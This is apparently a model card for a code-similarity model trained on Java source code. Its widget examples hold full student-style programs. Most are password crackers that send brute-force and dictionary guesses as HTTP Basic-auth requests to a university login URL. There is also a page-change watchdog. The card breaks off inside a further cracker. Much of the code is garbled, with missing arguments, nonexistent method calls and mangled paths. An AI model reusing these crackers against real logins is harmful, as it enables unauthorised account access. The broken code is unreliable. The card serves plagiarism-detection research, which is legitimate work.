Model: buelfhood/SOCO-Java-GraphCodeBERT-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:microsoft/graphcodebert-base, base_model:finetune:microsoft/graphcodebert-base, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/graphcodebert-base
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: microsoft/graphcodebert-base
widget: source_sentence: 

import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;

public class BruteForce {
    
    
    
    public static String Base64Encode(String s) {
        byte[] bb = s.getBytes();
        byte[] b  = bb;
        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        '0','1','2','3','4','5','6','7','8','9','+','/' };
        if (bb.length % 3!=0) {
            int x1 = bb.length;
            
            b = new byte[(x1/3+1)*3];
            int x2 = b.length;
            
            for(int i=0;i<x1;i++)
                b[i] = bb[i];
            for(int i=x1;i<x2;i++)
                b[i] = 0;
        }
        
        char[] c = new char[b.length/3*4];
        
        int i=0, j=0;
        while (i+3<=b.length) {
            c[j]     = table[(b[i]   >>  2)];
            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
            c[j+3]   = table[(b[i+2] &  63)];
            i+=3;
            j+=4;
        }
        
        j = c.length-1;
        while (c[j]=='A') {
            c[j]='=';
            j--;
        }
        
        return String.valueOf(c);
    }
    
    
    public synchronized void getAccumulatedLocalAttempt() {
        attempt = 0;
        for (int i=0;i<MAXTHREAD;i++) {
            attempt += threads[i].getLocalAttempt();
        }
    }
    
    
    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        System.out.println();
        System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
        System.out.println();
        System.out.println("  Current connections   : "+curconn);
        System.out.println("  Current progress      : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
        System.out.println("  Overall Attempts rate : "+ovrl+" attempts  second (approx.)");
        System.out.println();
        System.out.println(" ---------------------------------------------------------------------------");
        System.out.println();
    }
    
    
    public class MyTT extends TimerTask {
        
        public synchronized void run() {
            
            
            if (count==REPORT_INTERVAL) {
                
                DecimalFormat fmt = new DecimalFormat();
                fmt.applyPattern("0.00");
                
                
                getAccumulatedLocalAttempt();
                double p = (double)attempt/(double)ALLCOMBI*100;
                
                
                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
                
                
                attmArr[attmArrIdx++] = aps;
                
                
                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
                count = 0;
            } else
                
                if (count==0) {
                    getAccumulatedLocalAttempt();
                    attm = attempt;
                    count++;
                } else {
                    count++;
                }
        }
        
        
        public synchronized double getOverallAttemptPerSec() {
            double val = 0;
            for (int i=0;i<attmArrIdx;i++) {
                 val+= attmArr[i];
            }
            return val / attmArrIdx;
        }
        
        private int      count = 0;
        private   int   attm;
        private int      attmArrIdx = 0;
        private double[] attmArr = new double[2*60*60/10]; 
    }
    
    
    public synchronized void interruptAll(int ID) {
        for (int i=0;i<MAXTHREAD;i++) {
            if ((threads[i].isAlive()) && (i!=ID)) {
                threads[i].interrupt();
            }
            notifyAll();
        }
    }
    
    
    
    public synchronized void setSuccess(int ID, String p) {
        passw   = p;
        success = ID;
        notifyAll();
        interruptAll(ID);
        
        
        end = System.currentTimeMillis();
    }
    
    
    public synchronized boolean isSuccess() {
        return (success>=0);
    }
    
    
    
    public synchronized void waitUntilAllTerminated() {
        while (curconn>0) {
            try {
                wait();
            } catch (InterruptedException e) {}
        }
    }
    
    
    
    
    public synchronized int waitUntilOK2Connect() {
        boolean interruptd= false;
        int idx = -1;
        
        
        
        
        while (curconn>=MAXCONN) {
            try {
                wait();
            } catch (InterruptedException e) { interruptd = true; }
        }
        
        
        
        if (!interruptd) {
            
            curconn++;
            for (idx=0;idx<MAXCONN;idx++)
                if (!connused[idx]) {
                    connused[idx] = true;
                    break;
                }
            
            notifyAll();
        }
        
        
        return idx;
    }
    
    
    public synchronized void decreaseConn(int idx) {
        curconn--;
        connused[idx] = false;
        
        
        notifyAll();
    }
    
    
    public class ThCrack extends Thread {
        
        
        public ThCrack(int threadID, int startidx, int endidx) {
            super(" Thread #"+String.valueOf(threadID)+": ");
            this.ID       = threadID;
            this.startidx = startidx;
            this.endidx   = endidx;
            
            setDaemon(true);
        }
        
        
        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
            int i ;
            String msg;
            
            
            URL tryURL = new URL(THEURL);
            
            
            connections[connID]=(HttpURLConnection) tryURL.openConnection();
            
            
            connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
            
            
            i = connections[connID].getResponseCode();
            msg  = connections[connID].getResponseMessage();
            connections[connID].disconnect();
            
            
            if (i==HttpURLConnection.HTTP_OK) {
                
                System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
                setSuccess(this.ID,thePass);
                return (true);
            } else {
                
                System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
                return (false);
            }
        }
        
        
        public void rest(int msec) {
            try { sleep(msec); } catch (InterruptedException e) {}
        }
        
        
        
        public String constructPassword( int idx) {
            int     i = idxLimit.length-2;
            boolean processed = false;
             
            String result = "";
            while (i>=0) {
                if (idx>=idxLimit[i]) {
                    int nchar = i + 1;
                    idx-=idxLimit[i];
                    for (int j=0;j<nchar;j++) {
                        x = (idx % NCHAR);
                        result = charset.charAt((int) x) + result;
                        idx /= NCHAR;
                    }
                    break;
                }
                i--;
            }
            
            return result;
        }
        
        
        public String getStartStr() {
            return constructPassword(this.startidx);
        }
        
        
        public String getEndStr() {
            return constructPassword(this.endidx);
        }
        
        
        public void run() {
             i = startidx;
            boolean keeprunning = true;
            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
                
                
                int idx = waitUntilOK2Connect();
                
                
                if (idx==-1) {
                    
                    break;
                }
                
                try {
                    
                    launchRequest(getName(), idx, constructPassword(i));
                    
                    decreaseConn(idx);
                    
                    localattempt++;
                    
                    
                    rest(MAXCONN);
                    i++;
                } catch (InterruptedException e) {
                    
                    
                    keeprunning = false;
                    break;
                } catch (IOException e) {
                    
                    
                    
                    
                    
                    decreaseConn(idx);
                }
            }
            
            
            if (success==this.ID) {
                waitUntilAllTerminated();
            }
        }
        
        
        public int getLocalAttempt() {
            return localattempt;
        }
        
        private int startidx,endidx;
        private int ID;
        private int localattempt = 0;
    }
    
    
    public void printProgramHeader(String mode,int nThread) {
        System.out.println();
        System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
        System.out.println();
        System.out.println("  URL         : "+THEURL);
        System.out.println("  Crack Mode  : "+mode);
        System.out.println("  Characters  : "+charset);
        System.out.println("  . Char   : "+MINCHAR);
        System.out.println("  . Char   : "+MAXCHAR);
        System.out.println("  # of Thread : "+nThread);
        System.out.println("  Connections : "+MAXCONN);
        System.out.println("  All Combi.  : "+ALLCOMBI);
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
    }
    
    
    public void startNaiveCracking() {
        MAXTHREAD = 1;
        MAXCONN   = 1;
        startDistCracking();
    }
    
    
    public void startDistCracking() {
         int startidx,endidx;
        int   thcount;
        
        
        if (isenhanced) {
            printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
        } else {
            printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
        }
        
        
        i = System.currentTimeMillis();
        
         idxstart = idxLimit[MINCHAR-1];
        
        
        
        
        
        
        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
         mult = (ALLCOMBI - idxstart) / MAXTHREAD;
        
        
        
        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
            startidx = thcount*mult + idxstart;
            endidx   = (thcount+1)*mult-1 + idxstart;
            threads[thcount] = new ThCrack(thcount, startidx, endidx);
            System.out.println(threads[thcount].getName()+" try  crack from '"+threads[thcount].getStartStr()+"'  '"+threads[thcount].getEndStr()+"'");
        }
        
        
        
        
        
        startidx = (MAXTHREAD-1)*mult + idxstart;
        endidx   = ALLCOMBI-1;
        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
        System.out.println(threads[MAXTHREAD-1].getName()+" try  crack from '"+threads[MAXTHREAD-1].getStartStr()+"'  '"+threads[MAXTHREAD-1].getEndStr()+"'");
        
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
        
        
        for (int i=0;i<MAXTHREAD;i++)
            threads[i].print();
    }
    
    
    public BruteForce() {
        
        if (isenhanced) {
            startDistCracking();
        } else {
            startNaiveCracking();
        }
        
        
        reportTimer  = new java.util.Timer();
        MyTT      tt = new MyTT();
        reportTimer.schedule(tt,1000,1000);
        
        
        while ((success==-1) && (attempt<ALLCOMBI)) {
            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
        }
        
        
        if (success==-1) {
            end = System.currentTimeMillis();
        }
        
        
        getAccumulatedLocalAttempt();
        
        double ovAps = tt.getOverallAttemptPerSec();
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        
        reportTimer.cancel();
        
        
        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
        
        
        synchronized (this) {
            if (success>=0) {
                System.out.println();
                System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
                System.out.println();
                System.out.println("  The password is     : "+passw);
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println("  Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            } else {
                System.out.println();
                System.out.println(" ********************* [ UNABLE  CRACK THE URL !!! ] *********************");
                System.out.println();
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            }
        }
    }
    
    
    public static void printSyntax() {
        System.out.println();
        System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
        System.out.println();
        System.out.println("   mode     : (opt) 0 - NAIVE Brute force mode");
        System.out.println("                        (trying from the first  the last combinations)");
        System.out.println("                    1 - ENHANCED Brute force mode");
        System.out.println("                        (dividing cracking jobs  multiple threads) (default)");
        System.out.println("   URL      : (opt) the URL  crack ");
        System.out.println("                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
        System.out.println("   charset  : (optional) the character set used  crack.");
        System.out.println("              - (default)");
        System.out.println("                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
        System.out.println("              -alphanum       ");
        System.out.println("                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
        System.out.println("              -alphalow       ");
        System.out.println("                 abcdefghijklmnopqrstuvwxyz");
        System.out.println("              -alphaup        ");
        System.out.println("                 ABCDEFGHIJKLMNOPQRSTUVWXYZ");
        System.out.println("              -number         ");
        System.out.println("                 1234567890");
        System.out.println("               [custom] e.g. aAbB123");
        System.out.println("   ,  : (optional) range of characters   applied in the cracking");
        System.out.println("                         where  1   <=  <= 10  (default  = 1)");
        System.out.println("                                 <=  <= 10  (default  = 3)");
        System.out.println("   username : (optional) the username that is used  crack");
        System.out.println();
        System.out.println("   NOTE: The optional parameters 'charset','','', and 'username'");
        System.out.println("         have   specified altogether  none at all.");
        System.out.println("         For example, if [charset] is specified, then [], [], and");
        System.out.println("         [username] have   specified as well. If none of them  specified,");
        System.out.println("         default values   used.");
        System.out.println();
        System.out.println("   Example of invocation :");
        System.out.println("         java BruteForce ");
        System.out.println("         java BruteForce 0");
        System.out.println("         java BruteForce 1 http://localhost/tryme.php");
        System.out.println("         java BruteForce 0 http://localhost/tryme.php - 1 3 ");
        System.out.println("         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
        System.out.println();
        System.out.println();
    }
    
    
    
    
    
    
    
    
    public static void countIdxLimit() {
        idxLimit = new int[MAXCHAR+1];
        
        NCHAR    = charset.length();
        ALLCOMBI = 0;
        for (int i=0;i<=MAXCHAR;i++) {
            if (i==0) {
                idxLimit[i] = 0;
            } else {
                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
            }
        }
        
        ALLCOMBI = idxLimit[idxLimit.length-1];
    }
    
    
    public static void paramCheck(String[] args) {
        int argc = args.length;
        
        
        try {
            switch (Integer.valueOf(args[0]).intValue()) {
                case 0: {
                    isenhanced = false;
                } break;
               case  1: {
                    isenhanced = true;
                } break;
                default:
                    System.out.println("Syntax error : invalid mode '"+args[0]+"'");
                    printSyntax();
                    System.exit(1);
            }
        } catch (NumberFormatException e) {
            System.out.println("Syntax error : invalid number '"+args[0]+"'");
            printSyntax();
            System.exit(1);
        }
        
        if (argc>1) {
            try {
                
                URL u  = new URL(args[1]);
                
                
                try {
                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                    
                    switch (conn.getResponseCode()) {
                        case HttpURLConnection.HTTP_ACCEPTED:
                       case  HttpURLConnection.HTTP_OK:
                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
                       case  HttpURLConnection.HTTP_FORBIDDEN:
                       case  HttpURLConnection.HTTP_UNAUTHORIZED:
                            break;
                        default:
                            
                            
                            System.out.println("Unable  open connection  the URL '"+args[1]+"'");
                            System.exit(1);
                    }
                } catch (IOException e) {
                    System.out.println(e);
                    System.exit(1);
                }
                
                THEURL = args[1];
            } catch (MalformedURLException e) {
                
                System.out.println("Invalid URL '"+args[1]+"'");
                printSyntax();
                System.exit(1);
            }
        }
        
        
        if (argc==6) {
            try {
                MINCHAR = Integer.valueOf(args[3]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[3]+"'");
                printSyntax();
                System.exit(1);
            }
            
            try {
                MAXCHAR = Integer.valueOf(args[4]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[4]+"'");
                printSyntax();
                System.exit(1);
            }
            
            if ((MINCHAR<1) || (MINCHAR>10)) {
                System.out.println("Invalid  range number value '"+args[3]+"' (must between 0 and 10)");
                printSyntax();
                System.exit(1);
            } else
                if (MINCHAR>MAXCHAR) {
                    System.out.println("Invalid  range number value '"+args[3]+"' (must lower than the  value)");
                    printSyntax();
                    System.exit(1);
                }
            
            if (MAXCHAR>10) {
                System.out.println("Invalid  range number value '"+args[4]+"' (must between  value and 10)");
                printSyntax();
                System.exit(1);
            }
            
            if (args[2].toLowerCase().equals("-")) {
                charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            } else
                if (args[2].toLowerCase().equals("-alphanum")) {
                    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
                } else
                    if (args[2].toLowerCase().equals("-alphalow")) {
                        charset = "abcdefghijklmnopqrstuvwxyz";
                    } else
                        if (args[2].toLowerCase().equals("-alphaup")) {
                            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
                        } else
                            if (args[2].toLowerCase().equals("-number")) {
                                charset = "1234567890";
                            } else {
                                charset = args[2];
                            }
            
            USERNAME = args[5];
        } else
            if ((argc>2) && (argc<6)) {
                System.out.println("Please specify the [charset], [], [], and [username] altogether  none at all");
                printSyntax();
                System.exit(1);
            } else
                if ((argc>2) && (argc>6)) {
                    System.out.println("The number of parameters expected is not more than 6. ");
                    System.out.println(" have specified more than 6 parameters.");
                    printSyntax();
                    System.exit(1);
                }
    }
    
    public static void main (String[] args) {
        
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        MINCHAR = 1;
        MAXCHAR = 3;
        
        
        if (args.length==0) {
            args    = new String[6];
            args[0] = String.valueOf(1); 
            args[1] = THEURL;
            args[2] = "-";
            args[3] = String.valueOf(MINCHAR);
            args[4] = String.valueOf(MAXCHAR);
            args[5] = USERNAME;
        }
        
        
        paramCheck(args);
        
        countIdxLimit();
        
        
        Application = new BruteForce();
    }
    
    public static BruteForce Application;
    public static String    THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
    public static boolean   isenhanced; 
    public static String    passw  = "";   
    
    public static final int REPORT_INTERVAL = 10; 
    public static int       MAXTHREAD =  50;      
    public static int       MAXCONN   =  50;      
    public static int	    curconn   =   0;      
    public static int       success   =  -1;      
    
    public static String    USERNAME = "";  
    public static int       MINCHAR;              
    public static int       MAXCHAR;              
    public static  int     ALLCOMBI;             
    
    public static   int start   ,end;            
    
    
    public static java.util.Timer   reportTimer; 
    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
    public static boolean	    connused[]    = new boolean[MAXCONN];           
    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
    public static    int   attempt               = 0; 
    public static int    idxLimit; 
    public static String    charset;  
    public static int       NCHAR;    
}

sentences: 
import java.util.*;

public class Dictionary {

    private String strUsername;
    private String strURL;
    
    
    public Dictionary(String username, String url)
    {
        strUsername = username;
        strURL = url;
    }    
    
    public void run() {
        Date dtStart, dtEnd;
        
        PasswordFile pwd = new PasswordFile("/usr/dict/words");
        PasswordTest tester;
        int i=1;
        boolean bDone = false;
        Result res;

        dtStart = new Date();
        while(!bDone) {
            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
        
            bDone = tester;
            i++;
            if(bDone) {
                
                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                System.out.print(res.toString());
            }
            else
            {
                
            }
            
            
            if(pwd.getPassword() == null)
            {
                System.out.println("Exhausted word file without finding password");
                bDone = true;
            }
        }    
     
    }    
    
    
    public static void main(String[] args) {
        
        
        
        
        Dictionary dict = new Dictionary("", "http://sec-crack.cs.rmit.edu./SEC/2/");
             
        dict.run();
    }
    
}
, 

import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

public class Dictionary {  

   public int runProcess(String urlString,String passwd) {  

       System.out.println("Checking password: ... " + passwd);

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

       try{

            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;

            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println("password: " + passwd);
               returnval = 1;
            }

	    in.print();

          }catch(Exception e){ returnval = 0;}

       return returnval;
   }

   public static void main (String argv[]) {  

      int retval = 0;
      String pwd = "";
      String inFile = "/usr/share/lib/dict/words";
      BufferedReader in = null;
      String line1 ="";

      try {
      
        Dictionary s = new Dictionary();  
        String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/";  
        in = new BufferedReader(new FileReader(inFile));   

        while ((line1=in.readLine()) != null) {

          retval = 0;
          pwd = line1;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }catch(Exception e)
          { e.printStackTrace();}
    
    }  
}     
, 


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File("index.html");
   static File tmpfile = new File("tmpindex.html");
   static File mdfile = new File("md5file.txt");
   static File tmpmdfile = new File("tmpmd5file.txt");
   static PrintWriter mailwriter = null;


   public static void main (String[] args) 
   {

      urlStr = "http://www.cs.rmit.edu./";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println("Sending Mail");
            p = Runtime.getRuntime().exec("./mailscript");
            p.waitFor();

         }
         else
            System.out.println(" mail sent");

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println("Malformed URL");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec("/usr//pwd"); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println("File with name 'index.html' found in directory.");
            mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
            p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
            mailwriter.println();
            mailwriter.println("File with name 'md5file.txt' found in directory.");
            mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

            mailwriter.println(".");

            mailwriter.println();
         }

         mailwriter.println("Downloading current version of site - " + urlStr);
         p = Runtime.getRuntime().exec("/usr/local//wget "+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
         }


      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println("Index Out Of Bounds Exception");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
         p.waitFor();
        bf = new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, "\"", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }

        mailwriter.println("Creating file with md5sums of the webpage and images...");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

         bf = new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println("---The file index.html has changed.---");
            mailwriter.println("-Diff of old and new -");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
            p.waitFor();
             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println("The file index.html hasn't changed.");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println("Changes  Images");
         mailwriter.println("-----------------");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println("The image "+mdImgName+" has changed.");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println("The image "+mdImgName+" is  new  this ");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println("IOException");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println("Interrupted Exception");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
      String str = new StringTokenizer(prsName, "/", false);

      while(str.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}
, source_sentence: 

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary   {
  static String userName;
  static  URL   url;
  static URLAuthenticator  urlAuthenticator;
  static int noOfAttempts;
  
  public Dictionary() {
  }

  public static void main (String args[])  {
     Properties props = System.getProperties();
     props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
     
     System.out.println(props.get("http.proxyHost"));
     BufferedReader inFile = null;
     
        try {
	          if (args.length < 1)  {       
		         System.out.println ("Usage  : java Dictionary /usr/share/lib/dict/words");
                         System.exit(1);
		  }	 
	    	  inFile = new BufferedReader (new FileReader(args[0]));



	    	  breakPassword(inFile);
		}
		
		catch (FileNotFoundException e) { 
		    System.err.println(e.getMessage());
		    System.exit(1);
                }
                catch (IOException e) {                  
                    System.err.println(e.getMessage());
                    System.exit(1);
         }
	 finally {
    	    try {
		     inFile.close();  

	         }
	    catch (IOException ex) {ex.printStackTrace();}  
	}

 }
 private static void  breakPassword (BufferedReader file) throws
 IOException {
     String password="  ";
     userName="";
